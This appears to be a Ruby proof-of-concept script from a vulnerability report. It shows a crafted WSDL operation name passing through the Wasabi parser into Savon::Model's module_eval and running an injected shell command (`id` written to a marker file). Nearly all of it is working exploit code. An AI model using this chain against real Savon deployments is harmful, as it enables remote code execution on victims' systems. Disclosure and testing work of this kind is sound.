|
# PoC: full delivery chain — a malicious WSDL document drives the |
|
# Savon::Model code-injection sink end to end. |
|
# |
|
# WSDL <wsdl:operation name="..."/> |
|
# -> Nokogiri parses the attribute (resolves to a real newline) |
|
# -> Wasabi::Parser#parse_operations: snakecase(name).to_sym |
|
# -> Wasabi::Document#soap_actions returns that symbol (= operations.keys) |
|
# -> Savon::Client#operations returns it |
|
# -> Savon::Model#all_operations splats it into #operations |
|
# -> module_eval runs the injected Ruby <-- arbitrary code exec |
|
# |
|
# poc_minimal.rb / poc_backtick_rce.rb isolate the *sink* by handing the |
|
# malicious Symbol straight to Savon::Model. This script proves the *delivery*: |
|
# the symbol is produced by feeding attacker-controlled WSDL text through the |
|
# real Wasabi 5.1.0 parser (the version Savon depends on), and is then run |
|
# through the real Savon::Model#all_operations path. Only the network fetch of |
|
# the WSDL is stubbed — that is not part of the vulnerability. |
|
# |
|
# Tested against savon 2.17.1 + wasabi 5.1.0. |
|
|
|
# --- Savon (the vulnerable library under test) ---------------------------- |
|
require "savon" |
|
|
|
# --- Wasabi (the delivery parser) ----------------------------------------- |
|
# This is Wasabi's own code parsing the WSDL, not a reimplementation. Savon |
|
# depends on "wasabi", ">= 5.1.0", "< 6", so the installed gem is the same |
|
# parser the real chain uses. (require "savon" already loaded it.) |
|
require "nokogiri" |
|
require "wasabi/parser" |
|
|
|
# The malicious WSDL is a standalone document an attacker would deliver, read |
|
# relative to this script so the PoC works from any working directory. Its |
|
# <wsdl:operation> @name carries the payload — see poc_full_chain.wsdl for a |
|
# character-by-character breakdown of the XML escaping it relies on (notably |
|
# `&` so that `2>&1` survives Nokogiri instead of arriving as `2>1`). |
|
WSDL_PATH = File.join(__dir__, "poc_full_chain.wsdl") |
|
malicious_wsdl = File.read(WSDL_PATH) |
|
|
|
# Evidence file written by the injected shell command, proving execution. The |
|
# WSDL's payload runs `id > pwned_savon 2>&1`, so the marker is this relative |
|
# file. Its name is lowercase and dot/dash-free because StringUtils.snakecase |
|
# (which downcases and rewrites '.'/'-' -> '_') is applied to the whole |
|
# command; it must stay in sync with the command baked into the WSDL. |
|
EVIDENCE_NAME = "pwned_savon" |
|
EVIDENCE = File.join(Dir.pwd, EVIDENCE_NAME) |
|
File.delete(EVIDENCE) if File.exist?(EVIDENCE) |
|
|
|
# Code to print the WSDL file: |
|
puts "=" * 72 |
|
puts "Step 1 — attacker delivers the poc_full_chain.wsdl (operation @name carries the payload)" |
|
puts "=" * 72 |
|
|
|
# Step 2: the real Wasabi parser turns the WSDL into soap_actions. This is |
|
# exactly what Wasabi::Document#soap_actions returns (parser.operations.keys), |
|
# which is what Savon::Client#operations hands to Savon::Model#all_operations. |
|
parser = Wasabi::Parser.new(Nokogiri::XML(malicious_wsdl)) |
|
parser.parse |
|
soap_actions = parser.operations.keys |
|
|
|
puts |
|
puts "Step 2 — Wasabi #{Wasabi::VERSION} parses it into soap_actions:" |
|
puts " #{soap_actions.inspect}" |
|
puts " (newlines and backticks preserved -> this Symbol is executable Ruby)" |
|
puts "=" * 72 |
|
|
|
# Step 3: drive the real Savon::Model#all_operations. all_operations is just |
|
# `operations(*client.operations)`; client.operations is `wsdl.soap_actions`. |
|
# We stub only that network-backed accessor to return the symbols Wasabi just |
|
# produced — every line that actually executes the payload is Savon's own. |
|
class Victim |
|
extend Savon::Model |
|
end |
|
|
|
stub_client = Object.new |
|
stub_client.define_singleton_method(:operations) { soap_actions } |
|
Victim.define_singleton_method(:client) { |*_| stub_client } |
|
|
|
puts |
|
puts "Step 3 — Victim.all_operations (real Savon::Model sink):" |
|
Victim.all_operations |
|
|
|
puts |
|
puts "=" * 72 |
|
if File.exist?(EVIDENCE) |
|
puts "[+] CODE EXECUTION CONFIRMED via the full WSDL -> Wasabi -> Savon chain." |
|
puts " Injected `id > #{EVIDENCE_NAME} 2>&1` ran inside this Ruby process. Output:" |
|
puts File.read(EVIDENCE).lines.map { |l| " #{l}" }.join |
|
File.delete(EVIDENCE) # clean up so the PoC leaves no trace |
|
else |
|
puts "[-] No evidence file written; payload did not execute." |
|
end |
|
puts "=" * 72 |